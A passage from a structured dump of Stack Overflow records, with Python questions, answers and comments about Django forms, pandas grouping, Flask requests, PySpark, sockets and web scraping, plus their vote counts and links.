has body: factory.post('http://127.0.0.1:8000/polls/data/', obj) return request instance. You need to pass it to the view to test your view method: request = factory.post('http://127.0.0.1:8000/polls/data/', obj) response = your_view(request) See example here.
score: 5
upvote count: 5
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/49527421

http://stackoverflow.com/q/49522122
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: amazon-dynamodb
downvote count: 0
upvote count: 1
tagged with: amazon-web-services
has title: How to import DynamoDB table into PySpark?
tagged with: apache-spark
score: 1
tagged with: pyspark
tagged with: python
has body: With JSON Line I can do at pyspark: schema_table = StructType([ StructField('created_at', TimestampType(), True), StructField('id', StringType(), True), StructField('matches', ArrayType( StructType([ StructField('code',StringType(),True), StructField('prefix',StringType(),True), StructField('price',DoubleType(),True), ]),True) ,True), ]) table = spark.read.json('s3://my-bucket/my-dynamodb-table', schema_table) How to perform with a source at a DynamoDB table?
favorite count: 0

http://stackoverflow.com/a/49449770
answers question: http://stackoverflow.com/q/49449725
type: Answer
has body: You can use itertools.groupby in a list comprehension &gt;&gt;&gt; from itertools import groupby &gt;&gt;&gt; s = 'BWWWBWWBW' &gt;&gt;&gt; [''.join(i[1]) for i in groupby(s)] ['B', 'WWW', 'B', 'WW', 'B', 'W']
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/49556652
has body: I have a data frame like: material plant Order m1 m2 m3 m4 m5 24990 89952 4568789 1.0 1.0 0.0 0.0 0.0 24990 89952 5098710 1.0 1.0 0.0 0.0 0.0 24990 89952 9448609 0.0 0.0 1.0 0.0 1.0 24990 89952 1007081 0.0 0.0 1.0 0.0 1.0 166621 3062 18364103 0.0 0.0 0.0 0.0 0.0 166621 3062 78309139 0.0 1.0 0.0 0.0 0.0 240758 3062 55146035 1.0 1.0 1.0 0.0 0.0 276009 3062 38501581 1.0 1.0 1.0 0.0 0.0 276009 3062 38575428 1.0 1.0 1.0 0.0 0.0 I want to combine the Order number which has same material comabination in m1 to m5. I want to achieve a dataframe something like: material plant Order m1 m2 m3 m4 m5 24990 89952 4568789,5098710 1.0 1.0 0.0 0.0 0.0 24990 89952 9448609,1007081 0.0 0.0 1.0 0.0 1.0 166621 3062 18364103 0.0 0.0 0.0 0.0 0.0 166621 3062 78309139 0.0 1.0 0.0 0.0 0.0 240758 3062 55146035 1.0 1.0 1.0 0.0 0.0 276009 3062 38501581,857542 1.0 1.0 1.0 0.0 0.0 I am trying something like : Data frame x y = x.values x['new_col'] = y.tolist() df1 = x['new_col'] df = df1.to_frame() then trying to do df1.groupby with 'new_col'(which is m1to m5),but not getting what I want. Do I have to use for loop? any help would be appreciatable
tagged with: python
has answer: http://stackoverflow.com/a/49556827
has answer: http://stackoverflow.com/a/49556703
score: 2
type: AnsweredQuestion
answer count: 2
tagged with: pandas
has title: Group by/Aggregate Pandas Dataframe
accepted answer: http://stackoverflow.com/a/49556703
downvote count: 0
favorite count: 0
type: Question
upvote count: 2
tagged with: group-by
possible better answer: http://stackoverflow.com/a/49556827

http://stackoverflow.com/a/49447331
type: Answer
has comment: http://stackoverflow.com/comment/85896402
has comment: http://stackoverflow.com/comment/85899934
has comment: http://stackoverflow.com/comment/85896632
has comment: http://stackoverflow.com/comment/86013417
answers question: http://stackoverflow.com/q/49446253
has body: Try stopping it with Ctrl+Shift+\
score: 0

http://stackoverflow.com/a/52756033
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has body: This works, using a different extension: "multiCommand.commands": [ // requires vscode:extension/ryuta46.multi-command { // ctrl+enter, editorTextFocus &amp;&amp; editorHasSelection &amp;&amp; editorLangId == 'python' &amp;&amp; inDebugMode "command": "multiCommand.selectionToReplAndReturnToEditor", "sequence": [ "editor.debug.action.selectionToRepl", "workbench.action.focusActiveEditorGroup", ] }, }
accepted answer of: http://stackoverflow.com/q/49457051
type: Answer
answers question: http://stackoverflow.com/q/49457051

http://stackoverflow.com/q/49496547
type: Question
has title: pandas set partial data and get SettingWithCopyWarning
tagged with: pandas
tagged with: python
tagged with: python-3.x
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49496753
answer count: 1
has answer: http://stackoverflow.com/a/49496753
tagged with: chained-assignment
has body: I tried to set the partial data to -1, but I get a SettingWithCopyWarning. I tried to find StackOverflow, but lots of answers use loc to solved. The data comes from Kaggle Titanic. import pandas as pd train = pd.read_csv('data/train.csv') y = train"Survived" y.loc[y["Survived"] == 0,"Survived"] = -1

http://stackoverflow.com/comment/85949581
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49471157
score: 0
has text: @Andersson I try too but i get the same error.

http://stackoverflow.com/comment/86168972
comment on: http://stackoverflow.com/a/49580365
has text: So, it will run tens or even hundreds of times through the entire text? Once for every character?
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86751989
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49539701
has text: Please feel free to mark my response as the answer.
type: Comment

http://stackoverflow.com/q/49528824
has comment: http://stackoverflow.com/comment/86063836
has comment: http://stackoverflow.com/comment/86063799
has title: Flask - Access request object from method in class
has answer: http://stackoverflow.com/a/49529251
type: Question
has body: I'm trying to access the request.form field from inside a method in a class that I use to create the Flask app, but I got everytime and empty request from flask import Flask, request class MyAPIClass(object): def __init__(self, address="0.0.0.0", port=5000): self.address = address self.port = port self.app = Flask(__name__) self.logger = self.app.logger self.app.add_url_rule('/create/&lt;id&gt;', 'create', self.create, methods=['POST']) def create(self, od): root = request.form.get('root') home = request.form.get('home') size = int(request.form.get('size', 0)) print('CREATE {} -&gt; {} -&gt; {} -&gt; {}'.format(id, root, home, size)) def start(self): self.app.run(debug=True, host=self.address, port=self.port) I have tried to use Flask.request_started to save the request object inside a field in my class but seems to not working. This is how I create and start the class from MyLib import MyAPIClass api = MyAPIClass() api.start() And then using postman I send a POST to the url curl --request POST \ --url http://127.0.0.1:5000/create/123 \ --header 'home: r/h' \ --header 'root: r' \ --header 'size: 100' Any suggestions?
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49529251
tagged with: python
tagged with: flask
has comment: http://stackoverflow.com/comment/86064005
type: AnsweredQuestion
score: 0
tagged with: rest
has comment: http://stackoverflow.com/comment/86063594
answer count: 1

raspberry-pi
tags question: http://stackoverflow.com/q/49461887
tags question: http://stackoverflow.com/q/49593550
tags question: http://stackoverflow.com/q/49567637
type: Tag
tags question: http://stackoverflow.com/q/49539104
tags question: http://stackoverflow.com/q/49545144
tags question: http://stackoverflow.com/q/49530756
tags question: http://stackoverflow.com/q/49550862
tags question: http://stackoverflow.com/q/49506397
tags question: http://stackoverflow.com/q/49497124
tags question: http://stackoverflow.com/q/49458709
tags question: http://stackoverflow.com/q/49481036
tags question: http://stackoverflow.com/q/49537321
tag name: raspberry-pi
tags question: http://stackoverflow.com/q/49546486
tags question: http://stackoverflow.com/q/49446253
tags question: http://stackoverflow.com/q/49454531
tags question: http://stackoverflow.com/q/49502402

http://stackoverflow.com/q/49491012
has answer: http://stackoverflow.com/a/49491380
has comment: http://stackoverflow.com/comment/85985428
has comment: http://stackoverflow.com/comment/85985172
tagged with: python-2.7
has body: I have a tuple with the following output: (State A, 0:07:58) (State A, 0:15:48) (State B, 0:32:20) (State B, 1:04:30) etc... I am trying to isolate the last element times for each state and append them to a list.. so for the example above it would be 0:15:48 and 1:04:30 as they are the last times for the particular state. I know how to get a last element in a list (lst[-1]) but with conditions involved I'm not so sure how to do it. I don't think I need to turn my tuple into a list as i'm not changing data, just trying to extract it. Any help appreciated. Ideally without pandas. Cheers
has answer: http://stackoverflow.com/a/49491186
has comment: http://stackoverflow.com/comment/85985196
score: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49491223
upvote count: 1
has answer: http://stackoverflow.com/a/49491122
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85985227
answer count: 5
has answer: http://stackoverflow.com/a/49491259
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85985271
tagged with: python
has comment: http://stackoverflow.com/comment/85985388
has title: Extract last element in a tuple with per category

http://stackoverflow.com/q/49535336
downvote count: 0
has answer: http://stackoverflow.com/a/49535689
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/79135037
tagged with: django-class-based-views
tagged with: form-fields
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49535933
has body: I created a CBV of which I want to remove one or more fields, depending on the user. The idea is a jobsite and if the logged in user is a recruiter, than the employer field should be included, otherwise it should be excluded. forms.py class JobCreationForm(forms.ModelForm): class Meta: model = Job # exclude = ['posted', 'provider', 'ext_id'] fields = ('title', 'job_desc', 'agency_name', 'employer', 'contact_name', ) views.py class JobCreateView(LoginRequiredMixin, CreateView): template_name = 'job/job.html' form_class = JobCreationForm success_url = '/' def get_context_data(self, **kwargs): context = super(JobCreateView, self).get_context_data(**kwargs) # import the Customers of this Company self.fields["agency_name"].remove() recruiter = self.request.user self.fields["contact_name"].queryset = Profile.objects.filter(user_id = self.request.user) # if the user is a recruiter, delete the employer field. if Company.objects.filter(user_id = self.request.user).values('is_recruiter') == False: pass # self.fields.remove("employer") del self.fields["employer"] return context The current error is NoneType' object has no attribute '__getitem__'. My question: how can I remove a field from the form based on logic? I tried these versions: self.fields["employer"].delete() self.fields.remove("employer") del self.fields["employer"] Any tips?
tagged with: django
tagged with: python
has title: How to remove fields from CreateView depending on the user in Django?
has comment: http://stackoverflow.com/comment/86077756
has answer: http://stackoverflow.com/a/49535771
answer count: 4
upvote count: 2
score: 2

http://stackoverflow.com/comment/85955846
comment on: http://stackoverflow.com/a/49475761
type: Comment
has text: changed url to path as in my snippet?
type: AnswerComment
score: 0

http://stackoverflow.com/q/49462179
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49462197
tagged with: http://stackoverflow.com/tag/csv
possible better answer: http://stackoverflow.com/a/49463741
has answer: http://stackoverflow.com/a/49462197
tagged with: python
tagged with: date
has answer: http://stackoverflow.com/a/49463741
type: Question
answer count: 2
has body: I am making a generic tool which can take up any csv file.I have a csv file which looks something like this. The first row is the column name and the second row is the type of variable. Time,M1,M2,M3,CityName temp,num,num,num,city 20-May-15,19,20,0,aligarh 03-Sep-14,25,42,7,agra 20-Jan-13,23,35,4,aligarh 20-Feb-15,21,32,3,allahabad 12-May-16,17,27,1,aligarh 25-May-16,16,40,5,aligarh I want to sort the entire file on the basis of date (oldest to newest) in Python but could not find a way out.
has title: Sort the CSV file on the basis of date
score: 1
downvote count: 0
upvote count: 1
tagged with: sorting
has comment: http://stackoverflow.com/comment/85927120
favorite count: 0

http://stackoverflow.com/comment/86085150
score: 2
type: Comment
type: QuestionComment
has text: Possible duplicate of [How to move a file in Python](https://stackoverflow.com/questions/8858008/how-to-move-a-file-in-python)
comment on: http://stackoverflow.com/q/49539012

http://stackoverflow.com/comment/86195586
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49593916
type: Comment
has text: @Marat wow nice, but I doubt a beginner will understand much on what's going on. Though your way is a lot closer to the OP's original intent.

http://stackoverflow.com/a/49509534
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86023911
accepted answer of: http://stackoverflow.com/q/49509171
has comment: http://stackoverflow.com/comment/86024929
has body: Check you code and ask yourself what happens if you have a POST request and the form doesn't validate - you'll find out that in this case you have no explicit return path, so the function implicitely returns None. The fix is dead simple : deindent the last two line of your function, so you when the form doesn't validate you return the rendered template too: def register(request): if request.method == 'POST': form = RegistrationForm(request.POST) if form.is_valid(): form.save() return redirect('/') else: form = RegistrationForm() # MAKE SURE WE ALWAYS RETURN A RESPONSE: # we end up here when it's a GET request # AND when it's a POST request and the form # did not validate args = {'form': form} return render(request, 'users/reg_form.html', args)
downvote count: 0
has comment: http://stackoverflow.com/comment/86023221
type: Answer
has comment: http://stackoverflow.com/comment/86023786
has comment: http://stackoverflow.com/comment/86023846
answers question: http://stackoverflow.com/q/49509171
score: 3
upvote count: 3

http://stackoverflow.com/q/49579783
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: django
upvote count: 1
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/86169787
has body: model.py class User(models.Model): ImageKitConf.CACHEFILE_DIR = 'uploads/200/' first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=20) username = models.CharField(max_length=30, unique=True) password = models.CharField(max_length=100) email = models.EmailField(unique=True) phone = models.CharField(max_length=20) address = models.CharField(max_length=100) photo = models.ImageField(upload_to='uploads/200/', default='uploads/200/default.png', blank=True) thumb = ImageSpecField( source=photo, processors=[SmartResize(200,200)], ) role = models.ForeignKey('Role', default=3, on_delete=models.CASCADE) is_active = models.BooleanField(default=True) activation_code = models.CharField(max_length=50) password_reset_code = models.CharField(max_length=50, default=0) form.py class Registration_Form(forms.ModelForm): CHOICES = [('1', 'Active',), ('0', 'Inactive',)] is_active = forms.ChoiceField(label='Is Active', choices=CHOICES, required=True, widget=forms.RadioSelect()) user_title = forms.ModelChoiceField(label='User Role', empty_label='--- Select a Role ---',queryset=Role.objects.all() , widget=forms.Select(attrs={'class': 'span8'}),required=True) class Meta: model = User exclude = ('activation_code', 'password_reset_code', 'role') widgets = { 'first_name' : forms.TextInput(attrs= {'type':'text', 'placeholder': "First Name", 'class': 'span8', 'title': 'First Name'}), 'last_name' : forms.TextInput(attrs= {'type':'text', 'placeholder': "Last Name", 'class': 'span8', 'title': 'Last Name'}), 'username' : forms.TextInput(attrs= {'type':'text', 'placeholder': "User Name", 'class': 'span8', 'title': 'User Name'}), 'password' : forms.TextInput(attrs= {'type':'password', 'placeholder': "Password", 'class': 'span8', 'title': 'Password'}), 'email' : forms.TextInput(attrs= {'type': 'text', 'placeholder': "Email Address", 'class': 'span8', 'title': 'Email'}), 'phone' : forms.TextInput(attrs= {'type':'text', 'placeholder': "Phone Number", 'class': 'span8', 'tit…
has title: Why I am getting ValueError when saving a Django form
answer count: 1
tagged with: django-forms
downvote count: 1
has answer: http://stackoverflow.com/a/49580363
favorite count: 0

http://stackoverflow.com/q/49592193
tagged with: control-flow-graph
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49592572
has comment: http://stackoverflow.com/comment/86192180
has comment: http://stackoverflow.com/comment/86192153
tagged with: python
score: 3
answer count: 3
has title: How do I visualize with precision what happens after the last command of the main pathway of a program?
upvote count: 3
has answer: http://stackoverflow.com/a/49592408
has body: I have been drawing educational comics that explain basic programming concepts. At the moment, I'm doing one about control flow, and one area boggles my mind: What the computer does, after finishing all the commands of the program's final main pathway in the control flow. I assumed it would "exit" out of the program as a way to end it, but other sources say very passively, "The program exits out of the computer." This part sounds weird to me, as when I visualized control flow, the computer is doing commands one by one, until it hits an "ending" of the program of some kind. This is the draft of my work to explain what I'm dealing with: https://prairieworldcomicsblog.files.wordpress.com/2018/03/controlflowpencil.pdf At the end of this comic, what is the best metaphor to visualize this "ending" here?
downvote count: 0
has comment: http://stackoverflow.com/comment/86192284
has answer: http://stackoverflow.com/a/49592575
favorite count: 0
type: Question
tagged with: control-flow

http://stackoverflow.com/a/51505094
has body: That's bad practice. You do not want tests to be dependent.
score: 0
type: Answer
downvote count: 1
answers question: http://stackoverflow.com/q/49568232
upvote count: 1

http://stackoverflow.com/a/49482693
accepted answer of: http://stackoverflow.com/q/49482561
has comment: http://stackoverflow.com/comment/85969793
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49482561
has comment: http://stackoverflow.com/comment/85969645
score: 0
type: Answer
has body: Looks like "0" is the label of cat ("The training archive contains 25,000 images of dogs and cats. Train your algorithm on these files and predict the labels for test1.zip (1 = dog, 0 = cat)."), so your model predictions seem to be correct. Remember that the model is predicting (cat and dog) labels and not what class string you might be corresponding with the labels yourself. Try feeding an image of a dog and you should get "1" in return.

pipeline
type: Tag
tags question: http://stackoverflow.com/q/49488313
tags question: http://stackoverflow.com/q/49566157
tag name: pipeline

http://stackoverflow.com/comment/85996818
score: 0
comment on: http://stackoverflow.com/q/49482549
type: Comment
type: QuestionComment
has text: @wwii thanks, I'll watch this.

http://stackoverflow.com/a/49527904
has comment: http://stackoverflow.com/comment/86061317
score: -1
has comment: http://stackoverflow.com/comment/86062005
has body: import socket MAX_BUFFER_SIZE = 4096 class ClientSocket: soc = None def __init__(self): print("Client socket started....") self.soc = None def send_to_Server(self, data): print('Time to send data to Server..... %s', data) self.soc.send(data.encode("utf8")) def receive_from_Server(self): print('Time to receive from Server.....') result_bytes = self.soc.recv(MAX_BUFFER_SIZE) result_string = result_bytes.decode("utf8") print("Result from server is {}".format(result_string)) def start_client(self): self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.soc.connect(("localhost", 8000)) print('Client connected....') you should define the soc variable after class statement so that you can use it globally.
answers question: http://stackoverflow.com/q/49527766
upvote count: 0
has comment: http://stackoverflow.com/comment/86061868
downvote count: 1
has comment: http://stackoverflow.com/comment/86062187
has comment: http://stackoverflow.com/comment/86062010
type: Answer

python-memcached
type: Tag
tag name: python-memcached
tags question: http://stackoverflow.com/q/49468207

http://stackoverflow.com/q/49462195
favorite count: 0
score: 9
type: Question
has title: Left Rotation on an Array
has answer: http://stackoverflow.com/a/56057849
upvote count: 9
tagged with: algorithm
has answer: http://stackoverflow.com/a/78626363
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49462260
has answer: http://stackoverflow.com/a/58473583
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/52132636
has answer: http://stackoverflow.com/a/74919289
tagged with: data-structures
has answer: http://stackoverflow.com/a/73603257
has answer: http://stackoverflow.com/a/49462330
has answer: http://stackoverflow.com/a/68947633
has answer: http://stackoverflow.com/a/55297320
has comment: http://stackoverflow.com/comment/85927185
has answer: http://stackoverflow.com/a/69564179
has body: I have a question where I need to rotate an array left k times. i.e. if k = 2, [1, 2, 3, 4, 5] . -> [3, 4, 5, 1, 2] So, my code is: def array_left_rotation(a, n, k): for i in range(n): t = a[i] a[i] = a[(i+n-1+k)%n] a[(i+n-1+k)%n] = t return a where n = length of the array. I think the problem is a mapping problem, a[0] -> a[n-1] if k = 1. What is wrong with my solution?
has comment: http://stackoverflow.com/comment/85927833
has answer: http://stackoverflow.com/a/49462383
has answer: http://stackoverflow.com/a/53537809
has answer: http://stackoverflow.com/a/74453700
has comment: http://stackoverflow.com/comment/85927149
has answer: http://stackoverflow.com/a/50980172
has answer: http://stackoverflow.com/a/62289569
answer count: 17
has answer: http://stackoverflow.com/a/72227666

http://stackoverflow.com/comment/137077587
has text: Warning: `tee` is really only suitable for cases where all resulting iterators will be advanced in mostly tandem (e.g. to make a windowing iterator, you might `tee` the original, advance each resulting iterator by a differing amount, then iterate over all the iterators `zip`ed together), because it caches all values produced until the last `tee`-ed iterator consumes them. Thus, in this scenario, the entire output of the generator expression gets cached in the first loop, and isn't cleared until the second loop runs. It's slower, and saves nothing on memory, vs. calling `list` on the genexpr.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49447528

http://stackoverflow.com/q/49579360
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49579869
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49579869
has title: Why does my inner loop never finish in my number guessing game?
has body: When I try to guess the randomly generated number, the correct guess is never correct, and therefore the inner loop never finishes. I have tried debugging with print statements. from random import randint print('Welcome to the Number Guessing Game (Numbers 1 - 1000).') while True: tries = 0 random_num = randint(1, 10) print(random_num) guess = input('guess my number, human: ') while random_num is not guess: guess = input('Try again: ') print(guess) tries += 1 print('Correct!' + ' It took you' + str(tries) + ' tries.')
has comment: http://stackoverflow.com/comment/86166977
accepted answer: http://stackoverflow.com/a/49579588
has answer: http://stackoverflow.com/a/49579588
type: Question
has comment: http://stackoverflow.com/comment/86166489
tagged with: python
has comment: http://stackoverflow.com/comment/86166421
linked to: http://stackoverflow.com/q/1504717

http://stackoverflow.com/q/49552746
has answer: http://stackoverflow.com/a/49553112
type: UnansweredQuestion
upvote count: 1
has title: Log data, not only string (Python)
score: -6
downvote count: 7
tagged with: logging
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86115136
has comment: http://stackoverflow.com/comment/86112785
has body: I want to log data, not just string in a python. I would like to avoid implementing this myself, since I think this was done before. I read the Logging HOWTO, but it does not cover this topic Same here: Logging Cookbook I want to support these primitive data types: strings integers datetime lists dictionaries After logging I want to parse the log back to data again ...
tagged with: python
has answer: http://stackoverflow.com/a/49553078
answer count: 2

http://stackoverflow.com/q/49577290
favorite count: 0
has body: Let's say I have a class defined in a file: import stuff import more stuff import stuff that takes a long time to import class Foo(object): def __init__(self, arg1, arg2 etc.): self.arg1 = arg1 self.arg2 = arg2 # Lots of other stuff # Lots of methods And in another file I have this code: from big_file import Foo def do_stuff(obj): if isinstance(obj, Foo): do_stuff else: do_other_stuff Let's say the file Foo takes a long time to import for reasons out of my control. How can I refactor this code to not import Foo but still reliably check the type? I don't think duck typing is appropriate for my particular case. Should I e.g. check the string representations of the bases of the obj? Or is there another, more canonical way?
type: AnsweredQuestion
tagged with: python-2.6
has answer: http://stackoverflow.com/a/49577997
tagged with: typechecking
possible better answer: http://stackoverflow.com/a/49577997
has comment: http://stackoverflow.com/comment/86162278
type: Question
has answer: http://stackoverflow.com/a/49577337
accepted answer: http://stackoverflow.com/a/49577337
answer count: 2
has comment: http://stackoverflow.com/comment/86162270
downvote count: 0
has title: Determine if object is of type Foo without importing type Foo
has comment: http://stackoverflow.com/comment/86162312
upvote count: 13
tagged with: python
score: 13
has comment: http://stackoverflow.com/comment/86163023

http://stackoverflow.com/comment/86197604
type: QuestionComment
has text: Does it work if you replace `first = current` with `first = self.first` in `__iter__`?
type: Comment
comment on: http://stackoverflow.com/q/49595144
score: 0

http://stackoverflow.com/comment/85920431
comment on: http://stackoverflow.com/q/49457382
has text: Which python version do you use (python 2 or 3)?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86126947
comment on: http://stackoverflow.com/a/49556996
type: Comment
score: 0
type: AnswerComment
has text: Hello, @MTT. Please, see edited answer. I would also recommend to take a look to https://stackoverflow.com/questions/47152691/how-to-pivot-a-dataframe

http://stackoverflow.com/comment/86188272
type: QuestionComment
has text: It seems that this is a server-sided protection then, Ain't much you can't do to avoid it. You could try to use `session = requests.Session(); session.get()` instead of using `requests.get()` and reusing the same session to make the block happen later, but most likely it will still happen.
comment on: http://stackoverflow.com/q/49584007
score: 0
type: Comment

http://stackoverflow.com/comment/86198843
has text: I don't believes that is right for the other drawing methods. For them it is never stated.
comment on: http://stackoverflow.com/a/49595725
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49594435
type: Question
has title: python print square root iterations for a series using for in range
tagged with: sum
tagged with: range
tagged with: python
type: AnsweredQuestion
has body: I'm working on a homework assignment on loops and iterations - squaring and summing numbers using 'for...in range()' and need some help. Could someone show me how to fix this code? It should print the sum of a series of squares, for example, given 0^2 + 1^2 + 2^2 it should print 5 import sys N= int(sys.argv[1]) total = 0 for ctr in range (0, N+1): total = ctr**2 total = (ctr + 1)**2 print(str(total))
score: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/49594484
downvote count: 0
upvote count: 1
tagged with: loops
has answer: http://stackoverflow.com/a/49594484
favorite count: 0

http://stackoverflow.com/comment/86086388
comment on: http://stackoverflow.com/q/49537725
has text: but i want to save my model "model111"
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86136755
has text: Do you have the seaborn module installed too?
comment on: http://stackoverflow.com/q/49564042
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49551817
tagged with: http://stackoverflow.com/tag/json
tagged with: python
has body: Since we upgraded from ansible 2.4.3 to 2.5.0, Junos_config is failing with an error related to jasonDecoderError not found. After doing some research it seems that this attribute is only supported in python 3.5 and above. we are running python 2.7.6. But Ansible 2.5 is still supposed to be compatible with python 2.7 right? So why are we running into this? Thanks, An exception occurred during task execution. To see the full traceback, use -vvv. The error was: AttributeError: 'module' object has no attribute 'JSONDecodeError' fatal: [mx52-lab]: FAILED! =&gt; {"msg": "Unexpected failure during module execution.", "stdout": ""} python --version Python 2.7.6 ansible --version ansible 2.5.0 config file = /home/aurelien/ansible/ansible.cfg configured module search path = [u'/homeipa/aurelien/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules'] ansible python module location = /usr/local/lib/python2.7/dist-packages/ansible executable location = /usr/local/bin/ansible python version = 2.7.6 (default, Nov 23 2017, 15:49:48) [GCC 4.8.4]
type: Question
tagged with: junos-automation
score: 0
has title: Junos_config not working anymore with ansible 2.5 python jsonDecoderError
tagged with: ansible
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/49552427

http://stackoverflow.com/a/49616411
upvote count: 1
has body: A connection error is usually because the extension is not yet available. You can try if the extension is available using the CLI with az login --msi https://learn.microsoft.com/en-us/azure/active-directory/managed-service-identity/how-to-use-vm-sign-in If it works, your VM is created correctly with MSI support. It it doesn't, probably your extension is not configured correctly. Note that we changed the way to get a token with MSI from inside a VM. We now use IMDS: https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service Starting with the next release of the CLI (the first one of April 2018), CLI will authenticate with IMDS directly and not use the VM extension anymore. This is already shipped in the underlying library msrestazure in its 0.4.25 version. This one will bypass completely your VM extension to use IMDS and is the prefered scenario now. Could you try with this version of msrestazure? If it works with 0.4.25 but not in 0.4.24, this likely means your VM extension is not installed correctly, but you don't care since it's a deprecated scenario :) Note that in order to get a token, your VM doesn't need any special permissions or ownership of subscription. However, for this token to be useful you need it :). But since your error is related to the "get a token" part and not permission, I would just kindly suggest that you might need this complementary info for later if you have permissions issues: https://learn.microsoft.com/en-us/azure/active-directory/managed-service-identity/howto-assign-access-cli (full disclosure, I work at MS in the SDK/CLI team and wrote the MSI support)
has comment: http://stackoverflow.com/comment/86240507
type: Answer
has comment: http://stackoverflow.com/comment/86280079
has comment: http://stackoverflow.com/comment/86250770
has comment: http://stackoverflow.com/comment/86239932
answers question: http://stackoverflow.com/q/49568487
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86252337
has comment: http://stackoverflow.com/comment/86241743

http://stackoverflow.com/comment/86162851
comment on: http://stackoverflow.com/q/49577387
type: Comment
type: QuestionComment
has text: @scnerd added results
score: 0

http://stackoverflow.com/comment/86178496
score: 0
has text: Can you put the error message in the question? From a cursory impression, `cv2.log(1 + photo)` is extremely problematic if the data type is `uint8` and you have array values in `photo` at `255`; this overflows to `0`, and `log(0)` is undefined.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49585234

http://stackoverflow.com/comment/86047112
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49518843
has text: `test_lst` is one test case as one input for sublst when call `check_if_list_is_sublist`. Even the elements of the lists are the instances of some custom class, it doesnt matter, it may cause increase hash conflict, but it doesn't affect the result. Even we can customize one hash function for this purpose.
type: Comment

http://stackoverflow.com/comment/86135300
score: 1
type: QuestionComment
has text: There's no question here. On SO, you need to not only provide a minimal example, but also the discrepancy between what you expect, and what your minimal example produces.
type: Comment
comment on: http://stackoverflow.com/q/49563537

http://stackoverflow.com/comment/86075668
has text: IMO the best thing you can do is edit out the (now unnecessary) details, update the title and provide a concise code snippet that allows anyone to reproduce the problem simply by copy-pasting. I am certain you will find an answer to the question then :)
score: 1
comment on: http://stackoverflow.com/q/49520394
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86187336
score: 0
comment on: http://stackoverflow.com/q/49589732
type: Comment
has text: @smoggers just posted the answer.
type: QuestionComment

http://stackoverflow.com/comment/85942725
type: QuestionComment
has text: Hmmm, it looks like your DSN is set up to use `FreeTDS`, but your actual connection is using the `ODBC Driver 11 for SQL Server` as a driver. Which driver are you trying to use? Can you please include your Python connect string (`pyodbc.connect()`)?
score: 1
comment on: http://stackoverflow.com/q/49469251
type: Comment

http://stackoverflow.com/a/49577094
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49576821
answers question: http://stackoverflow.com/q/49576821
has comment: http://stackoverflow.com/comment/86162070
type: Answer
has comment: http://stackoverflow.com/comment/86162156
score: 2
upvote count: 2
has body: It seems that the content-type of the response if gzip so you need to handle that before you can process the html response. from urllib.request import urlopen as uReq from bs4 import BeautifulSoup as soup import gzip url = 'https://www.ccna8.com/ccna4-v6-0-final-exam-full-100-2017/' uClient = uReq(url) page_html = gzip.decompress(uClient.read()) uClient.close() page_soup = soup(page_html, "lxml") print(page_soup)
type: AcceptedAnswer

http://stackoverflow.com/a/49562014
has comment: http://stackoverflow.com/comment/86160104
answers question: http://stackoverflow.com/q/49520287
accepted answer of: http://stackoverflow.com/q/49520287
type: Answer
has body: First: I removed import urllib because 'requests' is enough. Some issues you have: You don't need to create one nested tuple then apply urllib.urlencode, uses one dictionary instead that is one reason why requests is so popular. You'd better populate all parameters for the http post request. like below what I did, otherwise, the request may be rejected by the backend. I added one simple codes to save the content to the local. PS: for those form parameters, you can get their values by analysis the html responsed from http get. Also you can customize the parameters as you need, like page size etc. Below is a working sample: import requests from bs4 import BeautifulSoup from tqdm import tqdm def downloadExcel(): headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=.08', 'Origin': 'https://www.tampagov.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': 'https://apps.tampagov.net/CallsForService_Webapp/Default.aspx?type=TPD', 'Accept-Encoding': 'gzip,deflate,br', 'Accept-Language': 'en-US,en;q=0.5', } r = requests.get("https://apps.tampagov.net/CallsForService_Webapp/Default.aspx?type=TPD", headers=headers) # parse and retrieve two vital form values if not r.status_code == 200: print('Error') return soup = BeautifulSoup(r.content, "html.parser") 